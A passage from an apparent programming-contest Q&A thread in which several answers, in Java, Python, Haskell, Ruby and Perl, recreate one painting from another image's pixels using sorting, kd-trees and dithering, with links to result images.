octtree\");\n // Propagate error in 4 directions, not caring whether or not we've already done that pixel.\n // This will lose some error, but that might be a good thing.\n float dx = (tr[0] - trPix[0]) / 4, dy = (tr[1] - trPix[1]) / 4, dz = (tr[2] - trPix[2]) / 4;\n if (x > 0) {\n errx[idx - 1] += dx;\n erry[idx - 1] += dy;\n errz[idx - 1] += dz;\n }\n if (x < w - 1) {\n errx[idx + 1] += dx;\n erry[idx + 1] += dy;\n errz[idx + 1] += dz;\n }\n if (y > 0) {\n errx[idx - w] += dx;\n erry[idx - w] += dy;\n errz[idx - w] += dz;\n }\n if (y < h - 1) {\n errx[idx + w] += dx;\n erry[idx + w] += dy;\n errz[idx + w] += dz;\n }\n }\n }\n private static final float COS30 = (float)Math.sqrt(3) / 2;\n private static float[] transform(int rgb) {\n float r = ((rgb >> 16) & 0xff) / 255.f;\n float g = ((rgb >> 8) & 0xff) / 255.f;\n float b = (rgb & 0xff) / 255.f;\n // HSL cone coords\n float cmax = (r > g) ? r : g; if (b > cmax) cmax = b;\n float cmin = (r < g) ? r : g; if (b < cmin) cmin = b;\n float[] cone = new float[3];\n cone[0] = (cmax + cmin) / 2;\n cone[1] = 0.5f * (1 + r - (g + b) / 2);\n cone[2] = 0.5f * (1 + (g - b) * COS30);\n return cone;\n }\n}\n```\n[Answer]\n# Python\nNot pretty codewise, nor by results.\n```\nfrom blist import blist\nfrom PIL import Image\nimport random\ndef randpop(colors):\n j = random.randrange(len(colors))\n return colors.pop(j)\ncolors = blist(Image.open('in1.png').getdata())\nrandom.shuffle(colors)\ntarget = Image.open('in2.png')\nout = target.copy()\ndata = list(list(i) for i in out.getdata())\nassert len(data) == len(colors)\nw, h = out.size\ncoords = []\nfor i in xrange(h):\n for j in xrange(w):\n coords.append((i, j))\n# Adjust color balance\ndsum = [sum(d[i] for d in data) for i in xrange(3)]\ncsum = [sum(c[i] for c in colors) for i in xrange(3)]\nadjust = [(csum[i] - dsum[i]) // len(data) for i in xrange(3)]\nfor i, j in coords:\n for k in xrange(3):\n data[i*w + j][k] += adjust[k]\nrandom.shuffle(coords)\n# larger value here gives better results but take longer\nchoose = 100\nthreshold = 10\ndone = set()\nwhile len(coords):\n if not len(coords) % 1000:\n print len(coords) // 1000\n i, j = coords.pop()\n ind = i*w + j\n done.add(ind)\n t = data[ind]\n dmin = 255*3\n kmin = 0\n choices = []\n while colors and len(choices) < choose:\n k = len(choices)\n choices.append(randpop(colors))\n c = choices[-1]\n d = sum(abs(t[l] - c[l]) for l in xrange(3))\n if d < dmin:\n dmin = d\n kmin = k\n if d < threshold:\n break\n c = choices.pop(kmin)\n data[ind] = c\n colors.extend(choices)\n # Push the error to nearby pixels for dithering\n if ind + 1 < len(data) and ind + 1 not in done:\n ind2 = ind + 1\n elif ind + w < len(data) and ind + w not in done:\n ind2 = ind + w\n elif ind > 0 and ind - 1 not in done:\n ind2 = ind - 1\n elif ind - w > 0 and ind - w not in done:\n ind2 = ind - w\n else:\n ind2 = None\n if ind2 is not None:\n for k in xrange(3):\n err = abs(t[k] - c[k])\n data[ind2][k] += err\nout.putdata(data)\nout.save('out.png')\n```\nPossible improvements:\n* smarter color correction?\n* better quality metric?\n* push the error to all surrounding pixels rather than one\nUgly (1->2):\n![1->2](https://i.stack.imgur.com/VhaTb.png)\nA bit better (2->1):\n![2->1](https://i.stack.imgur.com/C0p32.png)\nDecent (2->3):\n![2->3](https://i.stack.imgur.com/nhAIw.png)\nLike a bad raytracer (3->4):\n![3->4](https://i.stack.imgur.com/P2Y71.png)\nCheating – use all the good pixels on the upper half and claim paint ran out:\n![1->2](https://i.stack.imgur.com/WrpgC.png)\n[Answer]\n# Python (using kd-tree and luminosity)\nNice challenge. I decided to go with a kd-tree approach. So the basic idea behind using a kd-tree approach is that it divides the colors and the luminosity according to their presence in the picture.\nSo for the kd-tree the first sort is based on the red. It splits all the colors in to two approximately equal groups of reds (light red and dark red). Next it splits these two partitions along the greens. Next blue and then luminosity and then red again. And so on until the tree has been built. In this approach I built a kd-tree for the source image and the destination image. After that I mapped the tree from the source to the destination and overwrite the color data of the destination file. All of the results are shown [here](https://i.stack.imgur.com/K8M6N.jpg).\n## Some examples:\n### Mona Lisa -> American Gothic\n![mona_lisa](https://i.stack.imgur.com/e1Nlw.png) ![american gothic (mona_lisa style)](https://i.stack.imgur.com/of1qK.png)\n### American Gothic -> Mona Lisa\n![american gothic](https://i.stack.imgur.com/vvCRd.png) ![mona_lisa (american gothic style)](https://i.stack.imgur.com/UDpGs.png)\n### Starry Night --> The Scream\n![starry night](https://i.stack.imgur.com/5src7.png) ![starry scream](https://i.stack.imgur.com/S6oMV.png)\n### The Scream --> Starry Night\n![scream](https://i.stack.imgur.com/asIx8.png) ![screamy stars](https://i.stack.imgur.com/YiDN7.png)\n### Rainbow spheres\n![enter image description here](https://i.stack.imgur.com/JdKQP.png)\n![mona lisa balls](https://i.stack.imgur.com/p8RPV.png) ![screamy balls](https://i.stack.imgur.com/IA5EZ.png)\nHere is short movie using @Calvin's Hobbies movie frame maker:\n![enter image description here](https://i.stack.imgur.com/EwWqF.gif)\nAnd now for the code :-)\n```\nfrom PIL import Image\n\"\"\" Computation of hue, saturation, luminosity.\nBased on http://stackoverflow.com/questions/3732046/how-do-you-get-the-hue-of-a-xxxxxx-colour\n\"\"\"\ndef rgbToLsh(t):\n r = t[0]\n g = t[1]\n b = t[2]\n r /= 255.\n g /= 255.\n b /= 255.\n vmax = max([r, g, b])\n vmin = min([r, g, b]);\n h = s = l = (vmax + vmin) / 2.;\n if (vmax == vmin):\n h = s = 0. # achromatic\n else:\n d = vmax - vmin;\n if l > 0.5:\n s = d / (2. - vmax - vmin)\n else:\n s = d / (vmax + vmin);\n if vmax == r:\n if g= len(self.current_best):\n self.largest_distance = self.current_best[-1][1]\n else:\n self.largest_distance = self.current_best[self.t-1][1]\n def add(self, point):\n sd = square_distance(point, self.query_point)\n # run through current_best, try to find appropriate place\n for i, e in enumerate(self.current_best):\n if i == self.t:\n return # enough neighbours, this one is farther, let's forget it\n if e[1] > sd:\n self.current_best.insert(i, [point, sd])\n self.calculate_largest()\n return\n # append it to the end otherwise\n self.current_best.append([point, sd])\n self.calculate_largest()\n \n def get_best(self):\n return [element[0] for element in self.current_best[:self.t]]\n \nclass KDTree():\n \"\"\" KDTree implementation.\n \n Example usage:\n \n from kdtree import KDTree\n \n data = # iterable of points (which are also iterable, same length)\n point = \n \n tree = KDTree.construct_from_data(data)\n nearest = tree.query(point, t=4) # find nearest 4 points\n \"\"\"\n \n def __init__(self, data):\n \n self.data_listing = []\n def build_kdtree(point_list, depth):\n # code based on wikipedia article: http://en.wikipedia.org/wiki/Kd-tree\n if not point_list:\n return None\n # select axis based on depth so that axis cycles through all valid values\n axis = depth % 4 #len(point_list[0]) # assumes all points have the same dimension\n # sort point list and choose median as pivot point,\n # TODO: better selection method, linear-time selection, distribution\n point_list.sort(key=lambda point: point[axis])\n median = len(point_list)/2 # choose median\n # create node and recursively construct subtrees\n node = KDTreeNode(point=point_list[median],\n left=build_kdtree(point_list[0:median], depth+1),\n right=build_kdtree(point_list[median+1:], depth+1))\n \n # add point to listing \n self.data_listing.append(point_list[median])\n return node\n \n self.root_node = build_kdtree(data, depth=0)\n \n @staticmethod\n def construct_from_data(data):\n tree = KDTree(data)\n return tree\n def query(self, query_point, t=1):\n statistics = {'nodes_visited': 0, 'far_search': 0, 'leafs_reached': 0}\n \n def nn_search(node, query_point, t, depth, best_neighbours):\n if node == None:\n return\n \n #statistics['nodes_visited'] += 1\n \n # if we have reached a leaf, let's add to current best neighbours,\n # (if it's better than the worst one or if there is not enough neighbours)\n if node.is_leaf():\n #statistics['leafs_reached'] += 1\n best_neighbours.add(node.point)\n return\n \n # this node is no leaf\n \n # select dimension for comparison (based on current depth)\n axis = depth % len(query_point)\n \n # figure out which subtree to search\n near_subtree = None # near subtree\n far_subtree = None # far subtree (perhaps we'll have to traverse it as well)\n \n # compare query_point and point of current node in selected dimension\n # and figure out which subtree is farther than the other\n if query_point[axis] < node.point[axis]:\n near_subtree = node.left\n far_subtree = node.right\n else:\n near_subtree = node.right\n far_subtree = node.left\n # recursively search through the tree until a leaf is found\n nn_search(near_subtree, query_point, t, depth+1, best_neighbours)\n # while unwinding the recursion, check if the current node\n # is closer to query point than the current best,\n # also, until t points have been found, search radius is infinity\n best_neighbours.add(node.point)\n \n # check whether there could be any points on the other side of the\n # splitting plane that are closer to the query point than the current best\n if (node.point[axis] - query_point[axis])**2 < best_neighbours.largest_distance:\n #statistics['far_search'] += 1\n nn_search(far_subtree, query_point, t, depth+1, best_neighbours)\n \n return\n \n # if there's no tree, there's no neighbors\n if self.root_node != None:\n neighbours = KDTreeNeighbours(query_point, t)\n nn_search(self.root_node, query_point, t, depth=0, best_neighbours=neighbours)\n result = neighbours.get_best()\n else:\n result = []\n \n #print statistics\n return result\n#List of files: \nfiles = ['JXgho.png','N6IGO.png','c5jq1.png','itzIe.png','xPAwA.png','y2VZJ.png']\n#Loop over source files \nfor im_orig in range(len(files)):\n srch = Image.open(files[im_orig]) #Open file handle \n src = srch.load(); #Load file \n \n # Build data structure (R,G,B,lum,xpos,ypos) for source file\n srcdata = [(src[i,j][0],src[i,j][1],src[i,j][2],rgbToLsh(src[i,j])[0],i,j) \\\n for i in range(srch.size[0]) \\\n for j in range(srch.size[1])] \n \n # Build kd-tree for source\n srctree = KDTree.construct_from_data(srcdata)\n \n for im in range(len(files)):\n desh = Image.open(files[im])\n des = desh.load();\n \n # Build data structure (R,G,B,lum,xpos,ypos) for destination file\n desdata = [(des[i,j][0],des[i,j][1],des[i,j][2],rgbToLsh(des[i,j]),i,j) \\\n for i in range(desh.size[0]) \\\n for j in range(desh.size[1])] \n # Build kd-tree for destination\n destree = KDTree.construct_from_data(desdata)\n \n # Switch file mode\n desh.mode = srch.mode\n for k in range(len(srcdata)):\n # Get locations from kd-tree sorted data\n i = destree.data_listing[k][-2]\n j = destree.data_listing[k][-1]\n i_s = srctree.data_listing[k][-2]\n j_s = srctree.data_listing[k][-1]\n \n # Overwrite original colors with colors from source file \n des[i,j] = src[i_s,j_s]\n \n # Save to disk \n desh.save(files[im_orig].replace('.','_'+`im`+'.'))\n```\n[Answer]\n# Python\nJust to keep the ball rolling, here's my own simple and painfully slow answer.\n```\nimport Image\ndef countColors(image):\n colorCounts = {}\n for color in image.getdata():\n if color in colorCounts:\n colorCounts[color] += 1\n else:\n colorCounts[color] = 1\n return colorCounts\ndef colorDist(c1, c2):\n def ds(c1, c2, i):\n return (c1[i] - c2[i])**2\n return (ds(c1, c2, 0) + ds(c1, c2, 1) + ds(c1, c2, 2))**0.5\ndef findClosestColor(palette, color):\n closest = None\n minDist = (3*255**2)**0.5\n for c in palette:\n dist = colorDist(color, c)\n if dist < minDist:\n minDist = dist\n closest = c\n return closest\ndef removeColor(palette, color):\n if palette[color] == 1:\n del palette[color]\n else:\n palette[color] -= 1\ndef go(paletteFile, sourceFile):\n palette = countColors(Image.open(paletteFile).convert('RGB'))\n source = Image.open(sourceFile).convert('RGB')\n copy = Image.new('RGB', source.size)\n w, h = copy.size\n for x in range(w):\n for y in range(h):\n c = findClosestColor(palette, source.getpixel((x, y)))\n removeColor(palette, c)\n copy.putpixel((x, y), c)\n print x #print progress\n copy.save('copy.png')\n#the respective file paths go here\ngo('../ag.png', '../r.png')\n```\nFor each pixel in the source it looks for the unused pixel in the palette that is closest in the RGB color cube. It's basically the same as Quincunx's algorithm but with no randomness and a different color comparison function.\nYou can tell I move from left to right since the right side of the image has far less detail due to the depletion of similar colors.\nRiver from American Gothic\n![River from American Gothic](https://i.stack.imgur.com/LYBHr.png)\nMona Lisa from Rainbow Spheres\n![Mona Lisa from Rainbow Spheres](https://i.stack.imgur.com/Yhy3P.png)\n[Answer]\n## Haskell\nI tried a few different approaches using nearest neighbor searches before settling on this solution (which was actually my first idea). I first convert the images' pixel formats to YCbCr and construct two lists containing their pixel data. Then, the lists are sorted giving precedence to luminance value. After that, I just replace the input image's sorted pixel list with the palette image's, and then resort it back to the original order and use it to construct a new image.\n```\nmodule Main where\nimport System.Environment (getArgs)\nimport System.Exit (exitSuccess, exitFailure)\nimport System.Console.GetOpt (getOpt, ArgOrder(..), OptDescr(..), ArgDescr(..))\nimport Data.List (sortBy)\nimport Codec.Picture\nimport Codec.Picture.Types\nimport qualified Data.Vector as V\nmain :: IO ()\nmain = do\n (ioOpts, _) <- getArgs >>= getOpts\n opts <- ioOpts\n image <- loadImage $ imageFile opts\n palette <- loadImage $ paletteFile opts\n case swapPalette image palette of\n Nothing -> do\n putStrLn \"Error: image and palette dimensions do not match\"\n exitFailure\n Just img ->\n writePng (outputFile opts) img\nswapPalette :: Image PixelYCbCr8 -> Image PixelYCbCr8 -> Maybe (Image PixelRGB8)\nswapPalette img pal\n | area1 == area2 =\n let cmpCr (_, (PixelYCbCr8 _ _ r1)) (_, (PixelYCbCr8 _ _ r2)) = r1 `compare` r2\n cmpCb (_, (PixelYCbCr8 _ c1 _)) (_, (PixelYCbCr8 _ c2 _)) = c1 `compare` c2\n cmpY (_, (PixelYCbCr8 y1 _ _)) (_, (PixelYCbCr8 y2 _ _)) = y2 `compare` y1\n w = imageWidth img\n h = imageHeight img\n imgData = sortBy cmpY $ sortBy cmpCr $ sortBy cmpCb $ zip [1 :: Int ..] $ getPixelList img\n palData = sortBy cmpY $ sortBy cmpCr $ sortBy cmpCb $ zip [1 :: Int ..] $ getPixelList pal\n newData = zipWith (\\(n, _) (_, p) -> (n, p)) imgData palData\n pixData = map snd $ sortBy (\\(n1, _) (n2, _) -> n1 `compare` n2) newData\n dataVec = V.reverse $ V.fromList pixData\n in Just $ convertImage $ generateImage (lookupPixel dataVec w h) w h\n | otherwise = Nothing\n where area1 = (imageWidth img) * (imageHeight img)\n area2 = (imageWidth pal) * (imageHeight pal)\nlookupPixel :: V.Vector PixelYCbCr8 -> Int -> Int -> Int -> Int -> PixelYCbCr8\nlookupPixel vec w h x y = vec V.! i\n where i = flattenIndex w h x y\ngetPixelList :: Image PixelYCbCr8 -> [PixelYCbCr8]\ngetPixelList img = foldl (\\ps (x, y) -> (pixelAt img x y):ps) [] coords\n where coords = [(x, y) | x <- [0..(imageWidth img) - 1], y <- [0..(imageHeight img) - 1]]\nflattenIndex :: Int -> Int -> Int -> Int -> Int\nflattenIndex _ h x y = y + (x * h)\n-------------------------------------------------\n-- Command Line Option Functions\n-------------------------------------------------\ngetOpts :: [String] -> IO (IO Options, [String])\ngetOpts args = case getOpt Permute options args of\n (opts, nonOpts, []) -> return (foldl (>>=) (return defaultOptions) opts, nonOpts)\n (_, _, errs) -> do\n putStrLn $ concat errs\n printUsage\n exitFailure\ndata Options = Options\n { imageFile :: Maybe FilePath\n , paletteFile :: Maybe FilePath\n , outputFile :: FilePath\n }\ndefaultOptions :: Options\ndefaultOptions = Options\n { imageFile = Nothing\n , paletteFile = Nothing\n , outputFile = \"out.png\"\n }\noptions :: [OptDescr (Options -> IO Options)]\noptions = [ Option ['i'] [\"image\"] (ReqArg setImage \"FILE\") \"\",\n Option ['p'] [\"palette\"] (ReqArg setPalette \"FILE\") \"\",\n Option ['o'] [\"output\"] (ReqArg setOutput \"FILE\") \"\",\n Option ['v'] [\"version\"] (NoArg showVersion) \"\",\n Option ['h'] [\"help\"] (NoArg exitPrintUsage) \"\"]\nsetImage :: String -> Options -> IO Options\nsetImage image opts = return $ opts { imageFile = Just image }\nsetPalette :: String -> Options -> IO Options\nsetPalette palette opts = return $ opts { paletteFile = Just palette }\nsetOutput :: String -> Options -> IO Options\nsetOutput output opts = return $ opts { outputFile = output }\nprintUsage :: IO ()\nprintUsage = do\n putStrLn \"Usage: repix [OPTION...] -i IMAGE -p PALETTE [-o OUTPUT]\"\n putStrLn \"Rearrange pixels in the palette file to closely resemble the given image.\"\n putStrLn \"\"\n putStrLn \"-i, --image specify the image to transform\"\n putStrLn \"-p, --palette specify the image to use as the palette\"\n putStrLn \"-o, --output specify the output image file\"\n putStrLn \"\"\n putStrLn \"-v, --version display version information and exit\"\n putStrLn \"-h, --help display this help and exit\"\nexitPrintUsage :: a -> IO Options\nexitPrintUsage _ = do\n printUsage\n exitSuccess\nshowVersion :: a -> IO Options\nshowVersion _ = do\n putStrLn \"Pixel Rearranger v0.1\"\n exitSuccess\n-------------------------------------------------\n-- Image Loading Util Functions\n-------------------------------------------------\nloadImage :: Maybe FilePath -> IO (Image PixelYCbCr8)\nloadImage Nothing = do\n printUsage\n exitFailure\nloadImage (Just path) = do\n rdImg <- readImage path\n case rdImg of\n Left err -> do\n putStrLn err\n exitFailure\n Right img -> getRGBImage img\ngetRGBImage :: DynamicImage -> IO (Image PixelYCbCr8)\ngetRGBImage dynImg =\n case dynImg of\n ImageYCbCr8 img -> return img\n ImageRGB8 img -> return $ convertImage img\n ImageY8 img -> return $ convertImage (promoteImage img :: Image PixelRGB8)\n ImageYA8 img -> return $ convertImage (promoteImage img :: Image PixelRGB8)\n ImageCMYK8 img -> return $ convertImage (convertImage img :: Image PixelRGB8)\n ImageRGBA8 img -> return $ convertImage (pixelMap dropTransparency img :: Image PixelRGB8)\n _ -> do\n putStrLn \"Error: incompatible image type.\"\n exitFailure\n```\n**Results**\nThe images my program produces tend to be less vivid than many of the other solutions, and it doesn't deal with large solid areas or gradients well.\n[Here is a link to the full album.](https://i.stack.imgur.com/hJnIx.jpg)\n**American Gothic -> Mona Lisa**\n![](https://i.stack.imgur.com/JXgho.png) ![](https://i.stack.imgur.com/qnIug.png)\n**Mona Lisa -> American Gothic**\n![](https://i.stack.imgur.com/N6IGO.png) ![](https://i.stack.imgur.com/shKfM.png)\n**Spheres -> Mona Lisa**\n![](https://i.stack.imgur.com/UioNn.png)\n**The Scream -> Starry Night**\n![](https://i.stack.imgur.com/5Ceuc.png)\n**The Scream -> Spheres**\n![](https://i.stack.imgur.com/l3mBn.png)\n[Answer]\n## Java\nInspired by the previous java answer from Quincunx\n```\n package paletteswap;\nimport java.awt.Point;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.BitSet;\nimport java.util.Collections;\nimport java.util.Comparator;\nimport java.util.List;\nimport javax.imageio.ImageIO;\npublic class Test\n{\n public static class Bits\n {\n public static BitSet convert( int value )\n {\n BitSet bits = new BitSet();\n int index = 0;\n while ( value != 0L )\n {\n if ( value % 2 != 0 )\n {\n bits.set( index );\n }\n ++index;\n value = value >>> 1;\n }\n return bits;\n }\n public static int convert( BitSet bits )\n {\n int value = 0;\n for ( int i = 0; i < bits.length(); ++i )\n {\n value += bits.get( i ) ? ( 1 << i ) : 0;\n }\n return value;\n }\n }\n public static void main( String[] args ) throws IOException\n {\n BufferedImage source = ImageIO.read( resource( \"river.png\" ) ); // My names\n // for the\n // files\n BufferedImage palette = ImageIO.read( resource( \"farmer.png\" ) );\n BufferedImage result = rearrange( source, palette );\n ImageIO.write( result, \"png\", resource( \"result.png\" ) );\n }\n public static BufferedImage rearrange( BufferedImage source, BufferedImage palette )\n {\n BufferedImage result = new BufferedImage( source.getWidth(), source.getHeight(), BufferedImage.TYPE_INT_RGB );\n // This creates a list of points in the Source image.\n // Then, we shuffle it and will draw points in that order.\n List samples = getPoints( source.getWidth(), source.getHeight() );\n Collections.sort( samples, new Comparator()\n {\n @Override\n public int compare( Point o1, Point o2 )\n {\n int c1 = getRGB( source, o1.x, o1.y );\n int c2 = getRGB( source, o2.x, o2.y );\n return c1 -c2;\n }\n } );\n // Create a list of colors in the palette.\n List colors = getColors( palette );\n while ( !samples.isEmpty() )\n {\n Point currentPoint = samples.remove( 0 );\n int sourceAtPoint = getRGB( source, currentPoint.x, currentPoint.y );\n int colorIndex = binarySearch( colors, sourceAtPoint );\n int bestColor = colors.remove( colorIndex );\n setRGB( result, currentPoint.x, currentPoint.y, bestColor );\n }\n return result;\n }\n public static int unpack( int rgbPacked )\n {\n BitSet packed = Bits.convert( rgbPacked );\n BitSet rgb = Bits.convert( 0 );\n for (int i=0; i<8; i++)\n {\n rgb.set( i, packed.get( i*3 ) );\n rgb.set( i+16, packed.get( i*3+1 ) );\n rgb.set( i+8, packed.get( i*3+2 ) );\n }\n return Bits.convert( rgb);\n }\n public static int pack( int rgb )\n {\n int myrgb = rgb & 0x00FFFFFF;\n BitSet bits = Bits.convert( myrgb );\n BitSet packed = Bits.convert( 0 );\n for (int i=0; i<8; i++)\n {\n packed.set( i*3, bits.get( i ) );\n packed.set( i*3+1, bits.get( i+16 ) );\n packed.set( i*3+2, bits.get( i+8 ) );\n }\n return Bits.convert( packed);\n }\n public static int getRGB( BufferedImage image, int x, int y )\n {\n return pack( image.getRGB( x, y ) );\n }\n public static void setRGB( BufferedImage image, int x, int y, int color )\n {\n image.setRGB( x, y, unpack( color ) );\n }\n public static List getPoints( int width, int height )\n {\n List points = new ArrayList<>( width * height );\n for ( int x = 0; x < width; x++ )\n {\n for ( int y = 0; y < height; y++ )\n {\n points.add( new Point( x, y ) );\n }\n }\n return points;\n }\n public static List getColors( BufferedImage img )\n {\n int width = img.getWidth();\n int height = img.getHeight();\n List colors = new ArrayList<>( width * height );\n for ( int x = 0; x < width; x++ )\n {\n for ( int y = 0; y < height; y++ )\n {\n colors.add( getRGB( img, x, y ) );\n }\n }\n Collections.sort( colors );\n return colors;\n }\n public static int binarySearch( List toSearch, int obj )\n {\n int index = toSearch.size() >> 1;\n for ( int guessChange = toSearch.size() >> 2; guessChange > 0; guessChange >>= 1 )\n {\n int value = toSearch.get( index );\n if ( obj == value )\n {\n return index;\n }\n else if ( obj < value )\n {\n index -= guessChange;\n }\n else\n {\n index += guessChange;\n }\n }\n return index;\n }\n public static File resource( String fileName )\n { // This method is here solely\n // for my ease of use (I put\n // the files under /Resources/ )\n return new File( System.getProperty( \"user.home\" ) + \"/pictureswap/\" + fileName );\n }\n}\n```\n## Mona lisa -> Farmers\n![enter image description here](https://i.stack.imgur.com/1jSRd.png)\nWhat is does it sorts the points that need to be replaced by they intensity, instead of random.\n[Answer]\n# Ruby\n## Overview:\nReally simple approach, but seems to get pretty good results:\n1. Take the palette and target, sort their pixels both by some function; call these the \"reference\" arrays. I've chosen to sort by HSLA, but preferring Luminance to Saturation to Hue (aka \"LSHA\")\n2. Make the output image by iterating over each pixel of the target image, finding where it gets sorted to in the target reference array, and taking the pixel from the palette which got sorted to the same index in the palette reference array.\n## Code:\n```\nrequire 'rubygems'\nrequire 'chunky_png'\nrequire 'rmagick' # just for the rgba => hsla converter, feel free to use something lighter-weight you have on hand\ndef pixel_array_for_image(image)\n # [r, b, g, a]\n image.pixels.map{|p| ChunkyPNG::Color.to_truecolor_alpha_bytes(p)}\nend\ndef sorted_pixel_references(pixel_array)\n pixel_array.map{|a| yield(a)}.map.with_index.sort_by(&:first).map(&:last)\nend\ndef sort_by_lsha(pixel_array)\n sorted_pixel_references(pixel_array) {|p|\n # feel free to drop in any sorting function you want here!\n hsla = Magick::Pixel.new(*p).to_hsla # [h, s, l, a]\n [hsla[2], hsla[1], hsla[0], hsla[3]]\n }\nend\ndef make_target_out_of_palette(target_filename, palette_filename, output_filename)\n puts \"making #{target_filename} out of #{palette_filename}\"\n palette = ChunkyPNG::Image.from_file(palette_filename)\n target = ChunkyPNG::Image.from_file(target_filename)\n puts \" loaded images\"\n palette_array = pixel_array_for_image(palette)\n target_array = pixel_array_for_image(target)\n puts \" have pixel arrays\"\n palette_spr = sort_by_lsha(palette_array)\n target_spr = sort_by_lsha(target_array)\n puts \" have sorted-pixel reference arrays\"\n output = ChunkyPNG::Image.new(target.dimension.width, target.dimension.height, ChunkyPNG::Color::TRANSPARENT)\n (0...target_array.count).each { |index|\n spr_index = target_spr.index(index)\n index_in_palette = palette_spr[spr_index]\n palette_pixel = palette_array[index_in_palette]\n index_as_x = (index % target.dimension.width)\n index_as_y = (index / target.dimension.width)\n output[index_as_x, index_as_y] = ChunkyPNG::Color.rgba(*palette_pixel)\n }\n output.save(output_filename)\n puts \" saved to #{output_filename}\"\nend\npalette_filename, target_filename, output_filename = ARGV\nmake_target_out_of_palette(target_filename, palette_filename, output_filename)\n```\n## Results:\n\n## Highlights:\n![Starry Night made from Scream](https://i.stack.imgur.com/3v816.png)\n![American Gothic made from Mona Lisa](https://i.stack.imgur.com/ENGan.png)\n![Mona Lisa made from the river photo](https://i.stack.imgur.com/MMMSv.png)\n![The river photo made from Starry Night](https://i.stack.imgur.com/Mza23.png)\n[Answer]\n# Perl\nHere is a rather simplistic approach. It takes about five seconds to generate 100 frames per image pair on [my MacBook Pro](http://blog.nu42.com/2014/06/did-i-really-need-to-put-ssd-in-my.html) with a memory footprint of about 120 MB.\nThe idea is to sort the pixels in both and palette images by 24-bit packed RGB, and replace colors in the source with colors from the palette sequentially.\n```\n#!/usr/bin/env perl\nuse 5.020; # just because\nuse strict;\nuse warnings;\nuse Const::Fast;\nuse GD;\nGD::Image->trueColor(1);\nuse Path::Class;\nconst my $COLOR => 0;\nconst my $COORDINATES => 1;\nconst my $RGB => 2;\nconst my $ANIMATION_FRAMES => 100;\nconst my %MASK => (\n RED => 0x00ff0000,\n GREEN => 0x0000ff00,\n BLUE => 0x000000ff,\n);\nrun(@ARGV);\nsub run {\n unless (@_ == 2) {\n die \"Need source and palette images\\n\";\n }\n my $source_file = file(shift)->resolve;\n my $palette_file = file(shift)->resolve;\n my $source = GD::Image->new(\"$source_file\")\n or die \"Failed to create source image from '$source_file'\";\n my $palette = GD::Image->new(\"$palette_file\")\n or die \"Failed to create palette image from '$palette_file'\";\n my %source = map { $_ => $source->$_ } qw(width height);\n my %palette = map { $_ => $palette->$_ } qw(width height);\n my ($frame_prefix) = ($source_file->basename =~ /\\A([^.]+)/);\n unless (\n (my $source_area = $source{width} * $source{height}) <=\n (my $palette_area = $palette{width} * $source{height})\n ) {\n die \"Source area ($source_area) is greater than palette area ($palette_area)\";\n }\n my ($last_frame, $png) = recreate_source_image_from_palette(\n \\%source,\n get_source_pixels( get_pixels_by_color($source, \\%source) ),\n get_palette_colors( get_pixels_by_color($palette, \\%palette) ),\n sub { save_frame($frame_prefix, @_) }\n );\n save_frame($frame_prefix, $last_frame, $png);\n return;\n}\nsub save_frame {\n my $frame_prefix = shift;\n my $frame = shift;\n my $png = shift;\n file(\n sprintf(\"${frame_prefix}-%d.png\", $frame)\n )->spew(iomode => '>:raw', $$png);\n return;\n}\nsub recreate_source_image_from_palette {\n my $dim = shift;\n my $source_pixels = shift;\n my $palette_colors = shift;\n my $callback = shift;\n my $frame = 0;\n my %colors;\n $colors{$_} = undef for @$palette_colors;\n my $gd = GD::Image->new($dim->{width}, $dim->{height}, 1);\n for my $x (keys %colors) {\n $colors{$x} = $gd->colorAllocate(unpack_rgb($x));\n }\n my $period = sprintf '%.0f', @$source_pixels / $ANIMATION_FRAMES;\n for my $i (0 .. $#$source_pixels) {\n $gd->setPixel(\n @{ $source_pixels->[$i] },\n $colors{ $palette_colors->[$i] }\n );\n if ($i % $period == 0) {\n $callback->($frame, \\ $gd->png);\n $frame += 1;\n }\n }\n return ($frame, \\ $gd->png);\n}\nsub get_palette_colors { [ map sprintf('%08X', $_->[$COLOR]), @{ $_[0] } ] }\nsub get_source_pixels { [ map $_->[$COORDINATES], @{ $_[0] } ] }\nsub get_pixels_by_color {\n my $gd = shift;\n my $dim = shift;\n return [\n sort { $a->[$COLOR] <=> $b->[$COLOR] }\n map {\n my $y = $_;\n map {\n [ pack_rgb( $gd->rgb( $gd->getPixel($_, $y) ) ), [$_, $y] ];\n } 0 .. $dim->{width}\n } 0 .. $dim->{height}\n ];\n}\nsub pack_rgb { $_[0] << 16 | $_[1] << 8 | $_[2] }\nsub unpack_rgb {\n my ($r, $g, $b) = map $MASK{$_} & hex($_[0]), qw(RED GREEN BLUE);\n return ($r >> 16, $g >> 8, $b);\n}\n```\n### Output\nScream using Starry Night palette\n![Scream using Starry Night palette](https://i.stack.imgur.com/9cqZp.png)\nAmerican Gothic using Mona Lisa colors\n![American Gothic using Mona Lisa colors](https://i.stack.imgur.com/XPezI.png)\nMona Lisa using Scream colors\n![Mona Lisa using Scream colors](https://i.stack.imgur.com/TF8DC.png)\nRiver using Marbles colors\n![River using Marbles colors](https://i.stack.imgur.com/yUman.png)\n### Animations\nI was lazy, so I put the animations on YouTube: [Mona Lisa using colors from Starry Night](https://www.youtube.com/watch?v=ValfLKKx8cM) and [American Gothic using colors from Mona Lisa](https://www.youtube.com/watch?v=mAix1-GyMZQ) .\n[Answer]\n# Python\nFigured I'd take this little opportunity to take up code golf and use it as an excuse to work on my Python chops since it's been coming up more often at work these days. I ran through a couple of algorithms, including a few with O(n^2) and O(nlog(n)) time to try and optimize the colors, but it became very apparent that this was both computationally expensive and actually had very little effect on the apparent result. So below is a take I made on things that works in O(n) time (basically instantaneously on my system) that gets the most important visual element (luminance) as right as is reasonable and lets the chroma land where it may.\n```\nfrom PIL import Image\ndef check(palette, copy):\n palette = sorted(palette.getdata())\n copy = sorted(copy.getdata())\n print \"Master says it's good!\" if copy == palette else \"The master disapproves.\"\ndef GetLuminance(pixel):\n # Extract the pixel channel data\n b, g, r = pixel\n # and used the standard luminance curve to get luminance.\n return .3*r+.59*g+.11*b\nprint \"Putting pixels on the palette...\"\n# Open up the image and get all of the pixels out of it. (Memory intensive!)\npalette = Image.open(\"2.png\").convert(mode=\"RGB\")\npixelsP = [] # Allocate the array\nwidth,height = palette.size # Unpack the image size\nfor y in range(height): # Scan the lines\n for x in range(width): # within the line, scan the pixels\n curpixel = palette.getpixel((x,y)) # get the pixel\n pixelsP.append((GetLuminance(curpixel),curpixel)) # and add a (luminance, color) tuple to the array.\n# sort the pixels by the calculated 